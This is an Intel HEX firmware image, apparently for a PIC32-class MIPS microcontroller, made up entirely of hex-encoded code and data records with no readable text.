1028f8001400a4a31500a3a3020017241400b527ed\n:10290800f6c9400b6000a5af1600a2a385c8400b0e\n:1029180020009436670002241600a2a386c8400b44\n:1029280000029436660002241600a2a386c8400b53\n:1029380000049436100082322118c0000a18e20000\n:1029480025a0740000002282ff0043307900642c27\n:1029580065fd8014010031261600a2a31600b527d4\n:10296800f6c9400b01001724470002241600a2a351\n:102978002000943686c8400b000294364500022495\n:102988001600a2a32000943686c8400b0001943696\n:102998001400a3a3010017241400b527f6c9400b9f\n:1029a8006000a5af4cff8010010002241600b6831a\n:1029b8002a10d3025fff40102a10760220b4137c3d\n:1029c800d0c9400b1600b6a3c408833240080224bd\n:1029d800740262102b101e00c00883328008022483\n:1029e80065ff62142a10de020300c22bfeffc8270f\n:1029f80021f000000af002012a10de0260ff4010f8\n:102a0800040082325901401023b0d60302008232fa\n:102a1800c002401001008232010084322d000224dd\n:102a28002b0003240a10640021204000534b410f5f\n:102a380021284002271002002b10020021800202e8\n:102a48000a00c0120800823230000424534b410fa0\n:102a580021284002271002002b100200ffffd62673\n:102a6800f9ffc0162180020208008232ffff4230bf\n:102a7800f6cb400b2400a2affcff622803004014f1\n:102a88002a107300490240541c00a38fc50160122c\n:102a9800211000004002827e239862021300622ef9\n:102aa800a2034014120002241600a2a32120a002af\n:102ab8008552410f21280000c00140141600b6833a\n:102ac800e353410f2120a0021800a2af059d173c37\n:102ad8001040f726000a833200020224f701621030\n:102ae8001500632a2340d303bb006016fbff15259e\n:102af80000088232b9004054ffffb5260300833234\n:102b08002b18030004008232b900401023a8a30246\n:102b180002008232cc02401001008232010084326d\n:102b28002d0002242b0003240a10640021204000f9\n:102b3800534b410f21284002271002002b1002009e\n:102b4800218002020a00a01a080082323000042400\n:102b5800534b410f21284002271002002b1002007e\n:102b6800ffffb526f9ffa016218002020800823275\n:102b7800ffff42301c00a2af1600a2831800a48fea\n:102b880021280000c01002002110e2020000468c3b\n:102b98000733410f0400478c30004424534b410f46\n:102ba800212840021600a383271002002b100200e0\n:102bb800c01803002118e3020000668c0400678c2b\n:102bc8001800a48f21280000ee31410f2180020255\n:102bd80021f040000400601621b060000008823235\n:102be8003f004050200094322e000424534b410fe4\n:102bf800212840021600a3832000a3af271002005b\n:102c08002b100200ffff64242024047c2180020290\n:102c1800260060101600a4a300028232ffff423093\n:102c28001800a2af1800a58f0300a0102510d60326\n:102c38002a0040501600a0a3c02004002120e4026e\n:102c48000000868c0400878c2120c0030733410fc5\n:102c58002128c00230004424534b410f2128400250\n:102c68001600a883271002002b100200c0180800c5\n:102c78002118e3020000668c0400678c2120c00341\n:102c88002128c00221800202ee31410f2c00a8af9a\n:102c98002c00a88fffff04252024047c21f040008d\n:102ca80021b06000dfff00151600a4a32000a78f45\n:102cb800239867020a0060522000943230000424ee\n:102cc800534b410f21284002271002002b1002000d\n:102cd800ffff7326f9ff601621800202200094325c\n:102ce800020080164500042465000424534b410f5c\n:102cf80021284002271002002b1002002180020226\n:102d08001000a28f39024004231002002b00042473\n:102d1800534b410f21284002271002002b100200bc\n:102d2800218002021000a28f6666133c6766732634\n:102d38001800530010200000c31702002128400289\n:102d48008320040023208200534b410f3000842449\n:102d58001000a38f271002002b3002001800730008\n:102d680010100000c327030021284002218006021a\n:102d7800831002002310440040200200c01002000b\n:102d88002110820023206200534b410f300084241d\n:102d9800271002002b100200218002021c00a28fc3\n:102da800f9fb405000002482f7fba05a000024825f\n:102db80020000424534b410f212840022710020011\n:102dc8002b100200ffffb526f9ffa0162180020292\n:102dd80064c7400b00002482ffffb526030083323e\n:102de8002b1803000400823249ff401423a8a302d1\n:102df80008008232ffff42300b0040141c00a2afd3\n:102e08000a00a01a0200823220000424534b410f0a\n:102e180021284002271002002b100200ffffb526d0\n:102e2800f9ffa01621800202020082320a02401035\n:102e380001008232010084322d0002242b00032479\n:102e48000a10640021204000534b410f2128400202\n:102e5800271002002b100200e0ca400b218002025a\n:102e68001802400410008232e80140106000a38f6d\n:102e78006000a28f0000558c21b800000400422495\n:102e8800a7c9400b6000a2af6000a38f0000758c3b\n:102e9800040063246000a3af2120a0028552410fe3\n:102ea80021280000f2fc41042120a0020080023cfd\n:102eb80026a85500030094362120a00221280000ee\n:102ec8008552410f1000a0afeffc40501c00a0af8e\n:102ed8002120a0024153410f1000a5271000a28f06\n:102ee800ffff422440180200211062006666163c6b\n:102ef8006766d6261800560010b00000c3170200f7\n:102f080083b0160023b0c2020100c206ffffd62616\n:102f18001000b6af23201600c546410f2024047cbc\n:102f280021204000d147410f2128a0022800a2af4c\n:102f3800059d023ce440458c8552410f2800a48f32\n:102f48003d024004059d023ce840448c8552410ff7\n:102f58002800a58fccfc405c1c00b6af0100d6262b\n:102f68001000b6afa4c8400b1c00b6af08008232f0\n:102f7800ffff42300300c0122400a2af5a004010e5\n:102f880020000424020082327601401001008232bf\n:102f9800010084322d0002242b0003240a1064004f\n:102fa80021204000534b410f2128400227100200e6\n:102fb8002b10020021800202c0088232400803243c\n:102fc80023024310800803242802431030000424fd\n:102fd800ffff6426c018040040400400200082322d\n:102fe800059d073c1040e72421a0e30021f00401df\n:102ff800401817001c00a3afffff42302000a2af0b\n:10300800fdff02241800c213809804004000022427\n:103018001800a48f450082104100822c2100401422\n:10302800800002241800a58f4c00a2102718130056\n:10303800c00002241e00a2500000868e1600a48341\n:10304800534b410f21284002271002002b10020089\n:1030580021800202f8ff9426fdffde27fdff0224ef\n:10306800eaffc217fcff73262400a28f46fb4050dc\n:103078000000248244fbc05a00002482200004245b\n:10308800534b410f21284002271002002b10020049\n:10309800ffffd626f9ffc0162180020264c7400b45\n:1030a80000002482e6ff80541600a4830000868e68\n:1030b8000400878e2120a0020733410f2128e00257\n:1030c80021204000212860000a000624ee31410f2b\n:1030d80021380000300042242024027c12cc400b0e\n:1030e8001600a4a320000424534b410f21284002ba\n:1030f800271002002b100200ffffd626a1ffc012e6\n:103108002180020220000424534b410f2128400251\n:10311800271002002b100200ffffd626f1ffc01671\n:1031280021800202e4cb400b0200823227101e00ed\n:103138001c00a78f041047000620d5032000c333c6\n:10314800252044000610d7030b20430007008430d5\n:103158003000842412cc400b1600a4a31c00a78fb7\n:1031680004186700061075022000663225106200f8\n:1031780006287702059d043cb8408324059d073c3a\n:10318800cc40e4240b10a6002000a58f0a18850067\n:103198000f004230211862000000648012cc400bfe\n:1031a8001600a4a31600a2a32120a0028552410f55\n:1031b8002128000042fe40101600b683059d173cea\n:1031c8001c00a58f2320b600c546410f2024047c8f\n:1031d8002120a002af45410f2128400021a840002e\n:1031e800e353410f2120400021204000db55410fcf\n:1031f8002c00a2af2120a0027544410f21284000d5\n:10320800e040e48e8552410f212840000c01401c0b\n:103218002c00a38fe040e58e7744410f2120a002c7\n:1032280021a84000e353410f212040000100c4269b\n:10323800c0200400059d073c1040e7242120e4003d\n:103248000400858c1800a2af0500a01421b8e00086\n:103258000000848c2b20440047008050059d023cd0\n:10326800c0181600059d043c1040842421188300d2\n:103278000400648c370180500000638c059d023c7b\n:10328800e840458cd147410f2120a00221a84000e9\n:103298001c00a58fffffa2242120a002e353410fa9\n:1032a8001000a2af1800a2af000a83320002022465\n:1032b8000dfe62142340d3031500632a1400022470\n:1032c8001800a78f1d00e0100a9843002120e00095\n:1032d800212800000a000624ee31410f21380000a1\n:1032e80025104300150040141800aa8fc7cc400bc6\n:1032f80021b00000212040000a00062421380000e7\n:10330800ee31410f2c00a2af251043000b004014f2\n:103318002c00aa8f212040012128c0020a0006247f\n:103328000733410f21380000212860002520620062\n:10333800ffff7326efff801421b060001600a28300\n:103348002a186202e8fd60102340d30323205300ab\n:10335800c546410f2024047c212840002120a002da\n:10336800af45410f1600b3a3e353410f212040009e\n:10337800bbca400b1800a2afec40458cd147410fa7\n:103388002120a00221a840001c00a38f0100622474\n:103398002120a002e353410f1000a2afb7ca400b8f\n:1033a8001800a2afdfc9400b23f0c2033e0160043e\n:1033b80027100300e353410f2120a00221b0400051\n:1033c8005801c012059d033c1840632401000524e0\n:1033d800140007240400668c0a00c0542398650270\n:1033e8000000628c2b10c20206004054239865022c\n:1033f8000100a524f7ffa71408006324140005247e\n:10340800239865021900622ad700401000000000c6\n:103418001649410fff0064322120a0027744410f72\n:103428002128400021a84000c546410f2024137cd4\n:1034380021b84000db55410f2120c0022120a00205\n:103448007544410f2128400021204000d147410ff9\n:103458002128e002e353410f2120400021b0400021\n:1034680091fb601221b800002120c00229cd400b39\n:10347800212800002128e0020a0006240733410f12\n:103488002138000021286000ffff732621b040008a\n:1034980085fb601221b86000212040000a00062444\n:1034a800ee31410f2138000025104300f1ff405054\n:1034b8002120c002adc8400b1c00a48f0f01e012f0\n:1034c8001600a2a30300032402001624000104240a\n:1034d8002110000011000a242b28e20291fca054bc\n:1034e8001600b6a3900057102b28a40201006724e9\n:1034f800023704000029020020b4037cff00e330f7\n:103508002510c500f4ff6a1400210400cbc9400b44\n:103518001600b6a3cc004014c008833280080224e9\n:1035280047fd621430000424534b410f2128400208\n:1035380027100200200085322b10020058000324b7\n:10354800780004240b20650021284002534b410fca\n:1035580021800202271002002b10020092ca400ba1\n:103568002180020295fe4010c0088232ebcb400b4e\n:103578002000042401000224db00e0121600a2a3ac\n:103588000300032402001624400004242110000034\n:1035980016000a242b28e20262fca0541600b6a3e7\n:1035a800650057102b28a402010067244237040045\n:1035b800c028020020b4037cff00e3302510c500ba\n:1035c800f4ff6a14c0200400cbc9400b1600b6a350\n:1035d8006000a58f0000b38c020022820400a5249d\n:1035e8006000a5afb4c7400b020031262d000424ab\n:1035f80021284002534b410f1000a2af27100200b0\n:103608002b1002004bcb400b218002020000758c6e\n:1036180021b8000004006324a7c9400b6000a3afd1\n:103628000000828c040084246000a4afc31f020041\n:1036380021a8400021b86000a0c9400b21206000eb\n:103648008dcc400b211060003efd4010200004246a\n:10365800ceca400b0000000048fd40101600a283af\n:1036680094cb400b2000042408008232ffff5e3018\n:103678000c00c017020082320a00c01a00000000c5\n:1036880020000424534b410f212840022710020038\n:103698002b100200ffffd626f9ffc0162180020278\n:1036a80002008232580040500100943201008432f6\n:1036b8002b0002242d0003240b1064001dc9400bad\n:1036c800212040006000a58f0700a324f8ff0224f2\n:1036d80024106200080047246000a7af0000558c42\n:1036e800a7c9400b0400578c07004324f8ff0224a5\n:1036f800241862000400648c0000628c08006324b3\n:103708006000a3af2118800021a84000a0c9400b89\n:1037180021b880002b20a402fdfb80100100442466\n:10372800cbc9400b1600b6a371ffa0100100672497\n:10373800cbc9400b1600b6a39cffa010010067245c\n:10374800cbc9400b1600b6a3eeff5624c6c8400be3\n:103758001000b6af2b104300dffc4010000a833284\n:10376800a2cc400b059d023cc546410f2024137c8a\n:1037780021b84000db55410f2120c0022120a002c2\n:103788007544410f2128400021204000d147410fb6\n:103798002128e002e353410f2120400021b04000de\n:1037a8001ccd400b21b8000014fb4010200004245d\n:1037b800fcc8400b00000000e353410f000000006c\n:1037c80021b84000db55410f212040002120a002f4\n:1037d8007544410f212840001800a2af21a8e0023b\n:1037e8001000a0afd2c8400b21b000001649410f0d\n:1037f800ff0064322120a0027744410f21284000b5\n:10380800acc8400b21a840001dfb801220000424f6\n:103818001dc9400b000000001600a2a330fb401495\n:10382800239862022ffbe0162e000424ffff0224d7\n:1038380072c9400b1600a2a3ffffd6261000b6af30\n:10384800a4c8400b1c00b6af8dca400b200004244e\n:1038580030000424534b410f212840022710020056\n:103868002b100200f6cb400b21800202534b410f74\n:103878002128400227100200200085322b10020068\n:1038880058000324780004240b20650021284002f6\n:10389800534b410f21800202271002002b10020017\n:1038a800f6cb400b218002022120a002e353410ff6\n:1038b80021986202f2cc400b21b04000059d093ce2\n:1038c800b0403525edc9400b2120a0026000a5af0e\n:1038d800f6c9400b21b80000010002241600a2a37b\n:1038e800e7c8400b010005240800a22e25ff401060\n:1038f800030003246eca400b010016241000a22ef8\n:10390800f1fe4010030003246eca400b0100162488\n:103918000a00a22e73fb4010059d033c6eca400ba3\n:103928000100162402cd400b212800002014137c2e\n:103938006ccc400b1600a2a3ffff42302400a2afbc\n:08394800e3cb400b21b00000ad\n:020000040000fa\n:020000041d03da\n:10395000c0ffbd273c00bfaf3800beaf21f0a003c1\n:103960004000c4af4400c5af2118c0004c00c7af31\n:103970005400c28f4800c3a33000c2a34800c293c2\n:1039800000a0033cdc5663249c00688c00a0033c30\n:10399000dc566324e000638c300004242338830069\n:1039a00000a0033cdc566324e400668c00a0033cca\n:1039b000dc566324e800658c00a0033cdc566324dd\n:1039c000e000648c00a0033cdc566324f400638cac\n:1039d000040009241000a9af1400a8af1800a7af75\n:1039e0001c00a0af2000a6af2400a5af2800a4af04\n:1039f0002c00a3af4400c48f212840004c00c68f88\n:103a000001000724313b410f000000000400401476\n:103a10000000000021100000e1ce400b000000007b\n:103a20003000c29304004014000000000100022492\n:103a3000e1ce400b0000000001000424ff0d410f07\n:103a400000000000a0ce400b00000000212000007c\n:103a5000ff0d410f000000002118400000a0023cb3\n:103a6000dc5642248c00428c2b1043000400401092\n:103a70000000000021100000e1ce400b000000001b\n:103a800088bf023cd060428c00014230efff4014fe\n:103a90000000000002000224448282a300a0023c35\n:103aa000dc5642249c00448c00a0023cdc5642249c\n:103ab000a400458c3000c3935000c28f0600401014\n:103ac0000000000000a0023cdc564224bc004290f2\n:103ad000b7ce400b000000002110000000a0063c03\n:103ae000dc56c6248c00c68c00a0073c9957e724fe\n:103af0001000a7af1400a2af1800a6af0100022467\n:103b00001c00a2af010002242000a2af4000c68f1b\n:103b100021386000a9ff400f00000000211840007c\n:103b20003000c293160062140000000000a0023ca6\n:103b3000dc5642249c00438c00a0023cdc5642240c\n:103b4000f800428c18006200122000003400c4af5c\n:103b5000eb51023c1f8542343400c38f19006200d0\n:103b6000101000004211020021204000400e410fc1\n:103b70000000000001000224e1ce400b0000000024\n:103b80002110000021e8c0033c00bf8f3800be8f29\n:103b90004000bd270800e00300000000c0ffbd2773\n:103ba0003c00bfaf3800beaf21f0a0034000c4af5f\n:103bb000e00c410f0000000000a0023cdc56422453\n:103bc0009c00438c00a0023cdc564224ec00428c5a\n:103bd00018006200122000003000c4afeb51023c1c\n:103be0001f8542343000c38f19006200101000009e\n:103bf0004211020021204000400e410f0000000051\n:103c0000010002241000a2af400002241400a2af61\n:103c10001800c22721204000059d023ce8f94524f8\n:103c2000020006242138000054ce400f000000009e\n:103c300009004010000000004000c48f1800c22797\n:103c4000212840007f49410f0000000001000224ac\n:103c500017cf400b000000002110000021e8c00336\n:103c60003c00bf8f3800be8f4000bd270800e00336\n:103c700000000000e8ffbd271400bfaf1000beaf7a\n:103c800021f0a0031800c4af1c00c5af1800c48ffa\n:103c90001c00c58f8fdb400f0000000021e8c0032f\n:103ca0001400bf8f1000be8f1800bd270800e0036e\n:103cb00000000000b0ffbd274c00bfaf4800beaf02\n:103cc00021f0a0035000c4af2110a0005400c2a3f3\n:103cd0001900c0a35400c2930800422c04004014f1\n:103ce00000000000211000008acf400b00000000ff\n:103cf0001c00c227212040002128000027000624a4\n:103d00006551410f000000001c00c2272120400027\n:103d1000059d023cecf9452402000624494a410f66\n:103d2000000000009c80828f140040100000000002\n:103d30001c00c227020042242120400000a0023cb7\n:103d4000c872452446b9400f00000000300002242c\n:103d50003e00c2a35400c2931c00c3272300632467\n:103d6000212060002128400003000624e2b6400f15\n:103d70000000000069cf400b00000000300002246a\n:103d80001e00c2a35400c2931c00c3270300632477\n:103d9000212060002128400003000624e2b6400fe5\n:103da0000000000000a0023cdc564224d400428cfb\n:103db0001800c2a384cf400b000000001c00c227e3\n:103dc00021204000a34a410f00000000ff004230c4\n:103dd000211840001900c2931c00c5271000a0af95\n:103de000200004241400a4af5000c48f21306000d0\n:103df0002138400054ce400f000000000400401065\n:103e000000000000010002248acf400b00000000e7\n:103e10001800c293ffff43241800c3a3e7ff401418\n:103e2000000000002110000021e8c0034c00bf8ffb\n:103e30004800be8f5000bd270800e00300000000ce\n:103e400088ffbd277400bfaf7000beaf21f0a00394\n:103e5000211080007c00c5af8000c6af8400c7afd2\n:103e60007800c2a37800c2930800422c04004014da\n:103e7000000000002110000021d0400b00000000d5\n:103e80001c00c227212040002128000047000624f2\n:103e90006551410f000000001c00c2272120400096\n:103ea000059d023cecf9452402000624494a410fd5\n:103eb00000000000020002241800c2a39c80828f30\n:103ec0000c004010000000001800c2931c00c32723\n:103ed000211062002120400000a0023cc87245244d\n:103ee00046b9400f000000001800c2932000422491\n:103ef0001800c2a31800c2931c00c327211062003f\n:103f0000212040008000c58f01000624e2b6400f4a\n:103f1000000000001800c293010042241800c2a350\n:103f20001800c2931c00c32721106200212040000a\n:103f30007c00c58f46b9400f000000001800c293f6\n:103f4000200042241800c2a31800c2931c00c327fb\n:103f5000211862007800c2932120600021284000cf\n:103f600003000624e2b6400f000000001800c293d0\n:103f7000030042241800c2a31c00c22721204000d5\n:103f8000a34a410f00000000ff0042301c00c3277d\n:103f90001000a0af1400a0af212000002128600075\n:103fa000213040002138000054ce400f00000000b6\n:103fb00004004014000000002110000021d0400b3c\n:103fc0000000000000a0023cdc564224f400428cb9\n:103fd000e803432400a0023cdc5642249c00428caf\n:103fe00018006200122000006800c4afeb51023cd0\n:103ff0001f8542346800c38f190062001010000052\n:104000004211020021204000400e410f000000003c\n:104010008400c28f0400401400000000010002244c\n:1040200021d0400b000000007800c2931c00c32781\n:1040300021206000212840002dcf400f000000000b\n:1040400004004014000000002110000021d0400bab\n:10405000000000001c00c227212040007c00c58f0a\n:1040600008000624d352410f000000000400401055\n:10407000000000002110000021d0400b00000000d3\n:104080000100022421e8c0037400bf8f7000be8fbe\n:104090007800bd270800e00300000000b8ffbd273e\n:1040a0004400bfaf4000beaf21f0a0034800c4af42\n:1040b0004c00c5af1800c22721204000e7ce400fba\n:1040c000000000000400401000000000211000006b\n:1040d00072d0400b000000004c00c28f00004280f4\n:1040e0000400401400000000059d023cf0f9422449\n:1040f0004c00c2af1800c22721204000059d023ca1\n:10410000ecf9452402000624494a410f0000000052\n:104110001a00c227212040004c00c58f46b9400f2d\n:10412000000000003a00c0a31800c2272120400070\n:10413000a34a410f00000000ff0042301000a0af72\n:104140001400a0af212000001800c3272128600020\n:10415000213040002138000054ce400f0000000004\n:1041600004004014000000002110000072d0400b39\n:10417000000000001800c22721204000e7ce400fb9\n:1041800000000000040040140000000021100000a6\n:1041900072d0400b00000000010002249c8082af1e\n:1041a00000a0023cc87244244c00c58f7f49410fd7\n:1041b000000000004800c48f4c00c58f7f49410fac\n:1041c000000000000100022421e8c0034400bf8f6a\n:1041d0004000be8f4800bd270800e003000000003b\n:1041e00098ffbd276400bfaf6000beaf21f0a00301\n:1041f0006800c4af3400c0af300002243100c2a355\n:104200002dd1400b00000000100002243200c2a398\n:1042100026d1400b000000000a0002243000c2a397\n:104220001fd1400b0000000000a0023cdc564224dd\n:1042300001000324cc0043ac010002243800c2afcb\n:104240004715410f0000000004004010000000006e\n:104250003400c28f38d1400b000000003000c393ff\n:1042600000a0023cdc564224e00043ac3100c39382\n:1042700000a0023cdc564224e80043ac3200c39369\n:1042800000a0023cdc564224e40043ac3c00c227c0\n:1042900021204000f82b410f0000000000a0023c4c\n:1042a000dc5642249c00478c00a0023cdc56422491\n:1042b000e000468c00a0023cdc564224e400458c21\n:1042c00000a0023cdc564224e800448c00a0023ce2\n:1042d000dc564224e000438c00a0023cdc56422421\n:1042e000f400428c040008241000a8af1400a7af0b\n:1042f0001800a6af1c00a0af2000a5af2400a4affb\n:104300002800a3af2c00a2af059d023cfcf9442479\n:10431000050005242130000001000724313b410f36\n:104320000000000000a0023cdc564224cc0040ac5f\n:1043300000a0023cdc5642249c00448c00a0023cbd\n:10434000dc564224a400458c00a0023cdc564224ea\n:10435000b000428c00a0033cdc5663248c00668cc9\n:104360003c00c32700a0073c9957e7241000a7afe3\n:104370001400a0af1800a6af1c00a0af01000624d7\n:104380002000a6af2130600021384000a9ff400f77\n:10439000000000002118400000a0023cdc5642242e\n:1043a000b000428c32006214000000003c00c227c2\n:1043b00021204000059d023c04fa4524734d410f25\n:1043c0000000000002004010000000003800c0aff4\n:1043d00000a0023cdc56422401000324cc0043ac84\n:1043e0003800c28f22004010000000003c00c227ad\n:1043f00021204000f82b410f000000001c0040105d\n:10440000000000003c00c2272120400021280000bd\n:104410002dcf400f000000001500401000000000ec\n:104420003000c293059d033c18fa64242128400003\n:104430008513410f000000003100c293059d033c2d\n:1044400030fa6424212840008513410f0000000049\n:104450003200c293059d033c38fa642421284000b1\n:104460008513410f00000000010002243400c2af98\n:104470003000c293010042243000c2a33000c29336\n:104480003300422c68ff4014000000003200c29349\n:10449000010042243200c2a33200c2932000422c09\n:1044a0005dff4014000000003100c293010042246f\n:1044b0003100c2a33100c2934000422c52ff40148d\n:1044c00000000000059d023c44fa4424059d023c86\n:1044d00048fa45242013410f000000003400c28f29\n:1044e00021e8c0036400bf8f6000be8f6800bd2755\n:1044f0000800e00300000000e0ffbd271c00bfaf84\n:104500001800beaf21f0a0032000c4af2400c5af47\n:104510002000c48fa9b7400f000000001000c2aff8\n:10452000059d023c4cfa44242000c58f2013410f06\n:10453000000000001000c38f0800023c241062003d\n:10454000c21402000500401000000000059d023c5e\n:104550006cfa422459d1400b00000000059d023c3a\n:1045600074fa4224059d033c7cfa6424212840000f\n:104570002013410f000000001000c38f0400023c14\n:1045800024106200821402000500401000000000a8\n:10459000059d023c6cfa42246ad1400b00000000e9\n:1045a000059d023c74fa4224059d033c98fa64245c\n:1045b000212840002013410f000000001000c38f8d\n:1045c0000300023c00f04234241062000213020097\n:1045d000059d033cb4fa6424212840008513410f53\n:1045e000000000001000c38f0300023c00f04234c2\n:1045f0002410620002130200010042244010020055\n:10460000059d033cd0fa6424212840008513410f06\n:10461000000000001000c28f00084230c2120200e9\n:104620000500401000000000059d023c6cfa422489\n:1046300090d1400b00000000059d023c74fa42241a\n:10464000059d033cdcfa6424212840002013410f1f\n:10465000000000001000c28f0004423082120200ed\n:104660000500401000000000059d023c6cfa422449\n:10467000a0d1400b00000000059d023c74fa4224ca\n:10468000059d033cf8fa6424212840002013410fc3\n:10469000000000001000c28f00034230021202002e\n:1046a000059d033c14fb6424212840008513410f21\n:1046b000000000001000c28f00034230021a020006\n:1046c000059d023cdc5f4224211062000000429004\n:1046d000059d033cd0fa6424212840008513410f36\n:1046e000000000001000c28f80004230c2110200a2\n:1046f0000500401000000000059d023c6cfa4224b9\n:10470000c4d1400b00000000059d023c74fa422415\n:10471000059d033c30fb6424212840002013410ff9\n:10472000000000001000c28f700042300211020031\n:10473000059d033c4cfb6424212840008513410f58\n:10474000000000001000c28f700042300219020009\n:1047500000a0023c80180300207242242110620055\n:104760000000428c059d033c68fb64242128400026\n:104770002013410f000000001000c28f0e004230d5\n:1047800042100200059d033c70fb64242128400078\n:104790008513410f000000001000c28f010042305d\n:1047a0000500401000000000059d023c6cfa422408\n:1047b000f0d1400b00000000059d023c74fa422439\n:1047c000059d033c8cfb6424212840002013410fed\n:1047d00000000000059d023ca8fb44242400c58f76\n:1047e0002013410f000000002400c48f04000524a2\n:1047f00078b7400f00000000059d023c44fa4424b5\n:10480000059d023c48fa45242013410f000000009a\n:104810000100022421e8c0031c00bf8f1800be8fd6\n:104820002000bd270800e00300000000e0ffbd27d6\n:104830001c00bfaf1800beaf21f0a0032000c4af22\n:104840002000c48fa9b7400f000000001000c2afc5\n:104850001000c38ffcff023cff0f4234241862009b\n:1048600000a0023cdc564224a400428cfeff4224fd\n:1048700042100200002302000300023c00f0423418\n:1048800024108200251062001000c2af00a0023c7c\n:10489000dc564224a800428c1400c2a31400c29328\n:1048a0001a004010000000001400c393020002240c\n:1048b00004006214000000001400c0a33bd2400baf\n:1048c000000000001400c3930400022405006214d9\n:1048d00000000000010002241400c2a33bd2400be0\n:1048e00000000000020002241400c2a31000c38fc5\n:1048f000fffc0224241862001400c293001202007c\n:1049000000034230251062001000c2af00a0023c3c\n:10491000dc564224cc00428c0a004010000000000b\n:1049200000a0023cdc564224a00043900100022477\n:1049300004006214000000001400c0a38fd2400bda\n:104940000000000000a0023cdc564224c400428c5f\n:104950000b0040100000000000a0023cdc56422486\n:10496000a000439001000224050062140000000032\n:10497000060002241400c2a38fd2400b00000000e6\n:1049800000a0023cdc564224a00042900700432cc9\n:10499000270060100000000080180200039d023c08\n:1049a000b4494224211062000000428c08004000fb\n:1049b00000000000304a039dd049039de049039d5b\n:1049c000f049039d004a039d104a039d204a039d20\n:1049d000070002241400c2a38fd2400b0000000085\n:1049e000040002241400c2a38fd2400b0000000078\n:1049f000050002241400c2a38fd2400b0000000067\n:104a0000010002241400c2a38fd2400b000000005a\n:104a1000020002241400c2a38fd2400b0000000049\n:104a2000030002241400c2a38fd2400b0000000038\n:104a300021100000a7d2400b000000001000c38f1f\n:104a40008fff0224241862001400c2930011020098\n:104a500070004230251062001000c2af1000c38ffa\n:104a6000f1ff02242418620000a0023cdc5642241c\n:104a7000b000428c42110200401002000e00423091\n:104a8000251062001000c2af2000c48f1000c58f37\n:104a9000acb6400f000000000100022421e8c00372\n:104aa0001c00bf8f1800be8f2000bd270800e00348\n:104ab00000000000e8ffbd271400bfaf1000beaf2c\n:104ac00021f0a0031800c4af2110a0001c00c2a355\n:104ad0001c00c2931600432c570060100000000019\n:104ae00080180200039d023cfc4a4224211062000f\n:104af0000000428c0800400000000000384c039d7c\n:104b0000544b039d544b039d544b039d544b039da9\n:104b1000544b039d544b039d384c039d384c039dcf\n:104b2000144c039d144c039d844b039dcc4b039d5f\n:104b3000f04b039d144c039da84b039d384c039de3\n:104b4000844b039d384c039d384c039d384c039d8a\n:104b5000144c039d1800c48f059d023cc8fb4524de\n:104b600008000624494a410f000000001800c48fc5\n:104b70000bd2400f00000000010002240fd3400bb5\n:104b8000000000001800c48f059d023cd4fb4524a2\n:104b900008000624494a410f0000000001000224d9\n:104ba0000fd3400b000000001800c48f059d023c8d\n:104bb000e0fb452408000624494a410f000000009c\n:104bc000010002240fd3400b000000001800c48f26\n:104bd000059d023cecfb452408000624494a410f90\n:104be00000000000010002240fd3400b0000000071\n:104bf0001800c48f059d023cf8fb452408000624dc\n:104c0000494a410f00000000010002240fd3400b6d\n:104c1000000000001800c48f059d023cc8fb45241d\n:104c200008000624494a410f000000000100022448\n:104c30000fd3400b000000002110000021e8c0034a\n:104c40001400bf8f1000be8f1800bd270800e003be\n:104c50000000000078ffbd278400bfaf8000beaf1a\n:104c600021f0a0038800c4af8c00c5af9000c6af90\n:104c70001400c0af1000c0afefd4400b0000000024\n:104c80003400c2271c00c2af1800c0af69d3400b6c\n:104c9000000000001000c28f801002008c00c38f43\n:104ca000211062000000428c6400422c3a00401443\n:104cb000000000001000c28f801002008c00c38f23\n:104cc000211062000000428c0102422c3200401090\n:104cd000000000001c00c38f3400c22723186200ac\n:104ce0004500022403006214000000006ed3400b54\n:104cf000000000001000c28f801002008800c38fe7\n:104d0000211062000000428c0102422c1d00401064\n:104d1000000000001000c28f801002008800c38fc6\n:104d2000211062000000428c2120400080000524f8\n:104d3000140006246ab5400f00000000080040106f\n:104d4000000000001c00c28f010043241c00c3af00\n:104d500030000324000043a05dd3400b000000009e\n:104d60001c00c28f010043241c00c3af3100032488\n:104d7000000043a0010002241800c2af66d3400b1c\n:104d8000000000001000c28f010042241000c2afda\n:104d90006ed3400b000000001000c28f01004224bf\n:104da0001000c2af1000c38f9000c28f2b106200a2\n:104db000b8ff4014000000001c00c28f000040a09b\n:104dc0001800c28f7d014010000000003400c2278f\n:104dd00021204000a34a410f0000000006000324e8\n:104de0005c004310000000000700432c0900601025\n:104df0000000000002000324110043100000000026\n:104e0000050003243a00431000000000e6d4400be4\n:104e10000000000026000324a4004310000000004e\n:104e20004600032413014310000000002200032465\n:104e30007600431000000000e6d4400b00000000a4\n:104e40003400c22721204000059d023ce8f945249a\n:104e500002000624d352410f000000000900401454\n:104e6000000000003400c227059d033c04fc6424bc\n:104e7000212840002013410f00000000bad3400b4e\n:104e8000000000003400c22721204000059d023ca4\n:104e90001cfc452402000624d352410f00000000f0\n:104ea00009004014000000003400c227059d033ca7\n:104eb00020fc6424212840002013410f0000000042\n:104ec000bad3400b000000003400c227059d033c0c\n:104ed0002cfc6424212840002013410f0000000016\n:104ee000edd4400b00000000edd4400b00000000aa\n:104ef0003400c22721204000059d023cfcf94524d6\n:104f000005000624d352410f0000000009004014a0\n:104f1000000000003400c227059d033c3cfc6424d3\n:104f2000212840002013410f00000000edd4400b69\n:104f3000000000003400c227059d033c2cfc6424c3\n:104f4000212840002013410f00000000edd4400b49\n:104f5000000000003400c22721204000059d023cd3\n:104f6000ecf9452402000624d352410f0000000052\n:104f70001e004014000000003400c227059d033cc1\n:104f800054fc6424212840002013410f000000003d\n:104f90003400c22702004224059d033c6cfc6424bb\n:104fa000212840002013410f000000002000c327eb\n:104fb0003400c22703004224212060002128400041\n:104fc000c9b9400f000000002000c227059d033c26\n:104fd00074fc6424212840002013410f00000000cd\n:104fe000108180afedd4400b000000003400c227d8\n:104ff000059d033c2cfc6424212840002013410f14\n:1050000000000000edd4400b000000003400c22777\n:1050100021204000059d023cecf9452402000624b5\n:10502000d352410f0000000018004014000000009f\n:105030003400c227059d033c7cfc642421284000e9\n:105040002013410f000000002000c3273400c227b6\n:10505000020042242120600021284000c9b9400fed\n:10506000000000002000c227059d033c88fc64244a\n:10507000212840002013410f0000000001000224fd\n:10508000108182afedd4400b000000003400c22735\n:10509000059d033c2cfc6424212840002013410f73\n:1050a00000000000edd4400b000000001081828f52\n:1050b00033004010000000003400c22721204000cf\n:1050c000059d023cecf9452402000624d352410f11\n:1050d000000000002a004014000000003400c22735\n:1050e000059d033c90fc6424212840002013410fbf\n:1050f000000000002000c3273400c2270200422421\